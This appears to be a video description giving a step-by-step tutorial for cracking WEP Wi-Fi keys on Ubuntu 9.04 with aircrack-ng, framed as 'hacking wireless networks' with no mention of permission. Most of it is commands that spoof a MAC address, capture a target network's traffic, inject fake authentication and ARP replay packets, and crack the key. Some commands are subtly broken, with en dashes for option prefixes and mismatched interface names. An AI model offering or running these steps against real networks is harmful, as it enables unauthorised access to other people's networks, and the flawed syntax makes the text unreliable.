READ THIS: I have received too many questions on this video, so I may not reply back anymore, but check out the aircrack forums here:

FYI, I used a Belkin Wireless G USB

Is your card compatible?

Hacking wireless networks with the latest edition of Ubuntu, 9.04 jaunty jackalope.

Download Ubuntu:

High definition pictture of the cracked network:

This only works on WEP networks.

sudo apt-get install macchanger
sudo apt-get install aircrack-ng

sudo airmon-ng stop wlan0
sudo ifconfig wlan0 down
sudo macchanger –mac 00:11:22:33:44:55 wlan0
sudo airmon-ng start wlan0
sudo airodump-ng wlan0
sudo airodump-ng -c [channel] -w [filename] –bssid [bssid] wlan0
sudo aireplay-ng -1 0 -a [bssid] -h [fake mac] mon0
sudo aireplay-ng -3 -b [bssid] -h [fake mac] wlan0
aircrack-ng -b [bssid] [filename]-01.cap